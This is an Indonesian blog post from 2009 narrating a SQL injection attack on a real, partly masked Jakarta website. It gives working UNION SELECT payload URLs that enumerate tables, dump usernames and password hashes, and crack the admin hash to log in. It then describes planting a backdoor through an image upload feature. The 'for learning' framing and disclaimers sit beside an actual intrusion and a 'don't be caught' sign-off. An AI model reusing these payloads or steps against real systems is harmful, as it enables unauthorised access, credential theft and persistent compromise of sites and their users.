Kamis, 05 Februari 2009

SQL INJECTION...., koleksi gw buat PEMBELAJARAN,,,,

Disini ane cuma menjabarkan POCnya, bukan menjelaskan bagaimana itu bisa terjadi. Jika ingin tahu, ini sudah pernah dipublish ebook penjelasan lengkap ttg SQL injection "SQL Injection Revealed" milik salah satu 3 dara..

Pertama tentukan dlu path yang akan "dikerjakan"
Disitus ini ane menggunakan path sbb:

http://www.jakarta*******.com/profil/?jns=detil&id=2

tampilan halaman normalnya seperti ini

Reduced: 62% of original size [ 1024 x 768 ] - Click to view full image


Kemudian cek vulnnya dlu dengan menambahkan single quote ( ' )


http://www.jakarta*******.com/profil/?jns=...l&id=2'


atau pernyataan yg bernilai salah misalnya tambahkan and 1=0


http://www.jakarta*******.com/profil/?jns=detil&id=2 and 1=0


Tapi ane biasanya selalu skip langkah tersebut dan lgsg mencari jumlah kolomnya dengan query order by. Mengapa? Karena tidak sedikit situs2 yang tidak mem-patch inputan untuk cek vuln, tapi mem-patch inputan query seperti order by dan union select. Lagipula, yang penting itu kan dapet jumlah kolomnya Tounge.gif. Dan jika suatu situs bisa diinject dengan query order by, sudah mewakilkan langkah mengecek vuln.. )-l

Langkah pertama yang sekaligus untuk mengecek vuln, biasanya ane gunakan query order by 100


http://www.jakarta*******.com/profil/?jns=detil&id=2 order by 100


Ternyata hasilnya seperti ini:



Ada halaman yang hilang. Sudah mulai ada tanda2 situsnya vuln.

Dilanjutkan dengan query order by 1


http://www.jakarta*******.com/profil/?jns=detil&id=2 order by 1


Hasilnya:

Reduced: 62% of original size [ 1024 x 768 ] - Click to view full image


Normal!! Berarti situsnya vuln... :mrgreen:

Wokeh, selanjutkan sudah tau kan? yaitu mencari batas errornya. Di situs ini ane menemukan batas errornya diantara kolom 7 dan 8. Berarti jumlah kolomnya ada 7 ;) .
Kemudian tahap mencari angka ajaib. Gunakan query union select (jgn lupa parameter idnya dibuat error)

http://www.jakarta*******.com/profil/?jns=detil&id=null union select 1,2,3,4,5,6,7

Reduced: 62% of original size [ 1024 x 677 ] - Click to view full image


Abrakadabra... muncullah sang angka ajaib "2" dan "4". Pilih salah satu saja untuk tempat "bekerja". Disini ane memilih angka "4", alasannya? Suka2 ane dunk... Tounge.gif
Langkah selanjutnya adalah mengecek versi MySQLnya. Tapi ane lagi2 menskipnya :mrgreen: , alasannya simple, jika bisa dieksekusi query untuk v5 berarti sudah pasti "dia" menggunakan v5 :mrgreen: , tapi klo gk bisa, ya berarti v4 (dimana ane males untuk melakukan blind sql injection... Tounge.gif )

Wokeh, klo gitu selanjutnya adalah melist nama2 tabelnya

http://www.jakarta*******.com/profil/?jns=detil&id=null union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database()

Reduced: 62% of original size [ 1024 x 105 ] - Click to view full image


Disini ane tertarik dengan nama tabel "tb_user"

Lalu kita intip nama kolomnya (tapi sebelumnya nama tabelnya di convert dlu ya ke hexadecimal ;) )
hexa dari tb_user=74625F75736572

http://www.jakarta*******.com/profil/?jns=detil&id=null union select 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name=0x74625F75736572

Reduced: 62% of original size [ 1024 x 322 ] - Click to view full image


Ya sudah, selanjutnya diintip isinya, jgn lupa kembalikan nama kolomnya ke bentuk string

http://www.jakarta*******.com/profil/?jns=detil&id=null union select 1,2,3,4,group_concat(user_id,0x3a3a,password),6,7 from tb_user

Reduced: 62% of original size [ 1024 x 107 ] - Click to view full image


Gotchaa!! Ternyata usernya banyak. Trus passwordnya di hash pula...

Yowes, ane pilih salah satunya aja yaitu user_id:admin, trus crack deh hashnya

Reduced: 62% of original size [ 1024 x 103 ] - Click to view full image


Untung aja hashnya ada di db situs cracking online yg ane pilih..

Langkah selanjutnya, ya tentu saja masuk sebagai admin..

Reduced: 62% of original size [ 1024 x 464 ] - Click to view full image


tadaaa..!!!

Reduced: 62% of original size [ 1024 x 768 ] - Click to view full image


Enaknya diapain yaaa... :? :? :?
Dipes??? Ogah!!!
Mending tanem backdoor ajah.. Tounge.gif
langkah selanjutnya mencari fitur upload.

Setelah dicari2 di menu admin, ternyata gk ada fitur khusus untuk upload Cry.gif . Cuma ada fitur khusus untuk listing dan tambah konten. Yowes, ane jalan2 aja sebentar. Ane liat tuh daftar konten di Gerbang Dunia. Gk tau deh ada apaan... Tounge.gif

Wah ternyata isinya nama2 negara. Klo diperhatiin baik2, disitu ada gambar benderanya masing2 negara. Terbersitlah gimana cara sang admin untuk menampilkan gambar dari panel admin ini. Jangan2 ada fitur upload gambar2 bendera tersebut. Kita coba saja..

Reduced: 62% of original size [ 1024 x 266 ] - Click to view full image


Horeeyyy ternyata beneran ada (^-^)

Berdo'a sejenak berharap sang admin tidak memfilter jenis file yang diupload. Cari2 script backdoor yg ane dapet dari ???????...



ahaaaayyyy (^-^)

Mulai deh gilanya,

akhirnya nambah juga koleksi backdoor ane

Reduced: 62% of original size [ 1024 x 768 ] - Click to view full image


Sekian dan terima kasih!!!


CMIIW )-l

Pesan-pesan sponsor :

1. Penulis tidak bertanggung jawab terhadap efek samping dari POC ini.

2. Deface bukanlah ide bagus untuk menunjukkan bahwa Anda hebat.

3. Laporkan kepada admin situs yang anda jadikan target bahwa situs mereka memiliki bug SQL Injection.

4. Don’t learn to hack, hack to learn.

5. Good luck, and don’t be caught!!!

Tidak ada komentar:

Powered By Blogger